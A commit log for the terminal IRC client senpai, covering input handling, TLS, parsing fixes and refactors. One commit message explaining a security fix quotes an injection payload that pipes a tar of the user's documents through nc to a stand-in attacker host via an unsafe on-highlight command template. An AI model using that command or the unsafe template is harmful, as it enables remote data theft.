| Commit message (Collapse) | Author | Age | Files | Lines |
| |
|
| |
|
| |
|
|
|
|
|
|
|
|
| |
We have /QUIT for quitting. Most well-known IRC clients don't quit on
CTRL+C but they do on QUIT.
Clearing the editor input on CTRL+C is useful for shell-like behaviour
"abort current line, let me start my line again".
|
|
|
|
|
| |
Fixes: #8
Fixes: #41
|
|
|
|
|
|
|
| |
This is used for nick autocomplete and for /NAMES.
It will also be used for the vertical user list in the UI in a upcoming
patch.
|
|
|
|
| |
Best-effort regular casemapping, not the IRC session's one. :P
|
|
|
|
| |
Namely the emulated Jetbrains Golang debugging PTY. :)
|
|
|
|
|
| |
If a message contains a sequence of spaces/tabs that is wider than the
terminal, do not print an empty row.
|
|
|
|
| |
Pull in foot support
|
| |
|
|
|
|
|
|
|
|
|
| |
Prior to this, IsCommand was returning true for inputs starting with two
slashes and thus showing ">"-prompt.
This is a possible confusion (and unwanted behaviour) because the user
might think that they are writing a command but in fact, the message
would be sent verbatim (excluding first slash).
|
|
|
|
| |
Fixes #65
|
| |
|
| |
|
|
|
|
| |
So that the colors go well with the terminal background.
|
|
|
|
|
|
|
|
| |
- do the TLS eagerly instead of waiting for the first write, so that an
error message can be printed,
- sleep for 10 seconds before reconnecting, otherwise when connecting
without TLS to a TLS server, the connection will always succeed while
the first writes will not.
|
| |
|
|
|
|
|
|
|
|
| |
This way, the first slash when doing //-message is not deleted because
parseMessage writes the result to rawArgs, instead of the editor
content.
Fixes #63
|
|
|
|
| |
handleInput already checks for this.
|
|
|
|
|
|
| |
* senpai automatically adds :6697 or :6667 when not set, thus the port
is optional
* Non-TLS connections are supported, too
|
|
|
|
|
|
| |
Because the part later suggests joining #senpai, which is now on
Libera.Chat instead of Freenode, it would make sense to update this
as well.
|
| |
|
|
|
|
|
| |
This is not a channel and if one wants to send messages to user "home",
they would do "/msg home ..." instead.
|
|
|
|
| |
Reason: interaction with services don't render well with parenthesis
|
| |
|
| |
|
|
|
|
|
| |
- So that lone slashes can be recognised
- Also handle two slashes and pass them as one in plain input
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| |
Refactor:
- Split out reads/writes from irc.Session to irc.ChanInOut,
- Message handling is now manual, messages must be passed to
irc.Session.HandleMessage for its state to change,
- Remove data-race-prone App.addLineNow (called from both the main
eventLoop and irc loops) and add App.addStatusLine (to be called from
the main event loop) and App.queueStatusLine (to be called from other
goroutines). These two functions now write to both the current buffer
and the home buffer,
- add a irc.Typings.List function that locks the list of typings before
accessing it.
Changes as I went through the whole code...
- CAP handling is fixed (especially CAP DEL and CAP ACK),
- irc.Session now handles PREFIX,
- unhandled messages are now shown, except for some rare cases where
it's completely useless to show them.
|
| |
|
| |
|
| |
|
|
|
|
|
|
|
|
|
|
| |
Prior to this, when sending nothing, senpai throws the following
nonsense at you:
"": usage:
Now empty input is ignored, preventing this from appearing
(whitespace-only message should still work).
|
|
|
|
|
| |
Prior to this, if the input is spaced out (whitespace skip), word
movements caused senpai to crash because there were no boundary checks.
|
|
|
|
|
| |
https://github.com/gdamore/tcell/releases/tag/v2.3.0
https://github.com/gdamore/tcell/releases/tag/v2.3.1
|
| |
|
| |
|
| |
|
| |
|
| |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| |
Breaking change!
The old approach of format modifiers is not ideal and usually has
problems with shell quoting, that way anyone is able to get a remote
shell just by sending a malicious message like:
<evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; "
Given that my on-highlight is:
notify-send "%b" "<%n> %m"
This would be transformed into:
notify-send "#cmpwn" "<evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; ""
And this way it becomes a huge security vulnerability.
When using environment variables combined with double quotes, shell
escapes everything that appears there and gives the raw result to
command executed.
Though, this requires a little update to users' on-highlight setting:
%b -> $BUFFER
%n -> $SENDER
%m -> $MESSAGE
%h -> $HERE
|
|
|
|
|
|
|
| |
- Better errors in config.go
- Do not print useless timestamps in cmd/senpai/main.go
- Let os.UserConfigDir() and senpai.NewApp() call panic on error since
they both should not fail.
|
|
|
|
|
| |
It would make it work on non-Unix systems and also handle things like
.. in the configuration option
|
|
|
|
|
|
| |
To not break existing users, mouse is enabled by default but you have an
option to disable it with "mouse: false" in your
/.confg/senpai/senpai.yaml.
|
|
|
|
|
| |
Prior to this, when the connection is lost, issuing /quit was causing a
segfault.
|
|
|
|
|
| |
A very useful readline feature when combined with ^W can be a really
quick way to reformat a sentence, which is what I do on IRC quite often.
|
|
|
|
|
| |
Is is very useful when you have joined a bunch of channels and scrolling
with Ctrl+n/Ctrl+p is quite inefficient.
|
| |
|
| |
|
| |
|